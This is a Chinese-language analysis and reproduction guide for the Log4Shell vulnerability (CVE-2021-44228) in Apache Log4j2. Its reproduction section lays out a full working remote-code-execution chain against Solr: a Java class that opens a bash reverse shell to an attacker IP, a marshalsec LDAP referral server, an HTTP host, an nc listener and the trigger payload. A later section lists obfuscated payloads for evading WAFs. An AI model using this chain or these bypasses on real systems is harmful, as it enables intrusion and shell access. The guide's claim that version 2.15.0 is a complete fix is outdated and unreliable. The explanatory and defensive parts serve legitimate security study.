Apache Log42 远程代码执行漏洞(CVE-2021-44228)深入分析与复现指南
一、漏洞背景与核心定位
-
Log4j2 是什么?
- 全称:Apache Log4j 2。
- 性质:由 Apache 软件基金会开发的一款开源、高性能的 Java 日志记录框架。
- 目的:用于规范、便捷地记录应用程序运行时的关键信息(如用户操作、系统错误、性能指标、异常堆栈等),帮助开发、运维和安全人员进行问题排查、系统监控和安全追溯。
- 生态地位:与 Logback、SLF4J 共同构成 Java 日志生态的核心,因其卓越的性能和丰富的功能,成为众多企业级应用的首选。
-
漏洞概况
- 漏洞编号:CVE-2021-44228
- 漏洞别名:Log4Shell
- 危害等级:严重(Critical)
- 漏洞本质:由于 Log4j2 提供的** lookup 功能缺乏必要的安全控制,导致在日志记录过程中,如果用户输入被直接记录,则可触发 JNDI 注入**,最终造成远程代码执行(RCE)。
二、漏洞核心机制深度剖析
漏洞的触发依赖于三个关键技术的串联:Log4j2的Lookup机制、JNDI的动态加载特性以及攻击者的恶意资源。
-
JNDI (Java Naming and Directory Interface) 的特性
- 定义:JNDI 是 Java 提供的标准 API,允许应用程序通过名称来访问和查找各种命名和目录服务(如 LDAP, RMI, DNS等)。
- 核心风险点:JNDI 支持命名引用(Naming Reference)。当客户端查询一个命名服务时,服务端可以返回一个指向远程 Java 对象的引用(例如,一个远程
class文件的 URL)。 - 动态加载:Java 虚拟机在接收到这样的引用后,会自动从指定的远程地址下载并实例化该类,同时执行该类中的静态代码块或构造函数。这正是漏洞被利用的根源。
-
Log4j2 的 Lookup 机制
- 功能:Log4j2 提供了一种强大的动态变量替换功能,允许在日志配置或日志消息中通过
${prefix:key}的语法插入动态值。 - 示例:
${java:version}可以获取 Java 版本信息。${env:USER}可以获取系统环境变量 USER 的值。
- 致命Lookup:
${jndi:ldap://attacker.com/evil}。当 Log4j2 解析到这条语句时,它会尝试通过 JNDI 接口去查询attacker.com提供的 LDAP 服务。
- 功能:Log4j2 提供了一种强大的动态变量替换功能,允许在日志配置或日志消息中通过
-
漏洞触发链条(串联)
- 攻击输入:攻击者将包含 JNDI Lookup 的恶意字符串(如
${jndi:ldap://evil.com/Exploit})提交给应用程序(例如,通过 User-Agent、搜索框、表单等任何可能被日志记录的用户输入点)。 - 日志记录:应用程序在不知情的情况下,使用 Log4j2 记录了该恶意字符串。
- 表达式解析:Log4j2 在记录日志时,默认会递归解析字符串中的 Lookup 表达式。识别到
${jndi:...}后,触发 JNDI 查询。 - 远程资源加载:应用程序向攻击者控制的恶意 LDAP/RMI 服务器(
evil.com)发起请求。 - 恶意代码执行:恶意服务器返回一个指向攻击者托管在 HTTP 服务器上的恶意 Java 类(
Exploit.class)的引用。受害应用程序的 JVM 下载并实例化该类,导致其中嵌入的恶意代码(如反弹 Shell 的命令)被执行。
- 攻击输入:攻击者将包含 JNDI Lookup 的恶意字符串(如
-
受影响版本
- Apache Log4j 2.x 系列,版本 <= 2.14.1。
三、漏洞复现实践
环境准备
- 存在漏洞的应用:一个使用了受影响版本 Log4j2 的 Java 应用(文中以 Apache Solr 为例)。
- 攻击者机器:需要运行三个服务:
- 恶意 LDAP/RMI 服务:用于响应受害应用的 JNDI 查询并返回恶意引用。
- HTTP 服务:用于托管恶意 Java 类的字节码文件(.class)。
- NC 监听:用于接收反弹回来的 Shell。
复现步骤
第一步:初步验证(DNSLog 探测)
- 目的:在不执行代码的情况下,确认目标是否存在漏洞,并且能够对外发起网络请求。
- 方法:使用公开的 DNSLog 平台(如 dnslog.cn)获取一个临时域名。
- Payload:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.your-subdomain.dnslog.cn} - 原理:如果目标存在漏洞,它会解析
${sys:java.version}并将其值作为子域名的一部分进行 DNS 查询。在 DNSLog 平台上收到查询记录,则证明漏洞存在。
第二步:实施远程代码执行(反弹 Shell)
-
编写恶意 Java 类(Reverse.java)
import java.lang.Runtime; import java.lang.Process; public class Reverse { static { try { Runtime rt = Runtime.getRuntime(); // 将命令替换为你的攻击机 IP 和端口 String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.109.1/4563 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // 忽略异常 } } } -
编译恶意类
javac Reverse.java生成
Reverse.class文件。 -
启动 HTTP 服务(托管恶意类)
在Reverse.class所在目录启动一个简单的 HTTP 服务器,端口为 8080。python -m http.server 8080 -
启动恶意 LDAP 服务
使用工具marshalsec快速启动一个恶意的 LDAP 引用服务器。该服务器会监听 5555 端口,并指示请求者去http://192.168.109.1:8080/下载名为Reverse的类。java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.109.1:8080/#Reverse" 5555 -
启动 NC 监听
在攻击机上监听 4563 端口,等待反弹 Shell 连接。nc -lvnp 4563 -
触发漏洞
向目标应用发送最终的攻击 Payload。/solr/admin/cores?action=${jndi:ldap://192.168.109.1:5555/reverse} -
获取 Shell
如果一切配置正确,你将在 NC 监听端口中获得一个来自目标系统的 Shell。
四、常见 WAF(Web应用防火墙)绕过技巧
攻击者为了规避安全设备的检测,发明了多种变形 Payload。
-
大小写混淆
${jNdI:lDaP://...}${${lower:JNDI}:${lower:LDAP}://...}
-
利用默认值语法
:-${${env:NOT_EXIST:-j}ndi:...}(如果环境变量NOT_EXIST不存在,则默认使用j)
-
字符分隔
${jnd${upper:ı}:ldap://...}(使用土耳其语的点less 'i')${j${-:-n}di:...}
-
Unicode 编码
${\u006a\u006e\u0064\u0069:\u006c\u0064\u0061\u0070://...}
-
多种技巧组合
${${a:-j}ndi:${lower:L}${lower:D}a${lower:P}://...}${${lower:j}${upper:n}${lower:d}i:${lower:rmi}://...}
五、漏洞修复与防御方案
-
紧急缓解措施(治标)
- 修改 Log4j2 配置:设置 JVM 启动参数
-Dlog4j2.formatMsgNoLookups=true或修改log4j2.component.properties文件加入log4j2.formatMsgNoLookups=True。此操作会全局禁止 Lookup 功能,从而阻断漏洞触发。 - WAF/流量过滤:在网络边界部署规则,拦截包含
jndi:ldap://、jndi:rmi://、${、}等关键字的请求。 - 网络访问控制:严格执行最小权限原则,通过防火墙策略禁止业务服务器主动外连互联网,从根本上切断下载恶意类的路径。
- 修改 Log4j2 配置:设置 JVM 启动参数
-
根本解决方案(治本)
- 升级 Log4j2 版本:这是最推荐、最彻底的解决方案。立即将 Log4j2 组件升级到** 2.15.0 或更高版本**。新版本默认禁用了 JNDI Lookup 功能并做了其他安全增强。
总结:
CVE-2021-44228 是一个典型的“供应链漏洞”,因其利用简单、危害极大而震惊全球。理解其原理(JNDI注入+动态类加载)、掌握复现方法(恶意LDAP+HTTP服务)、知晓绕过手段(各种字符串变形)以及采取正确的防御措施(升级/禁Lookup/网络隔离),对于安全研究人员和运维人员都至关重要。
希望这份详尽的文档能对您有所帮助!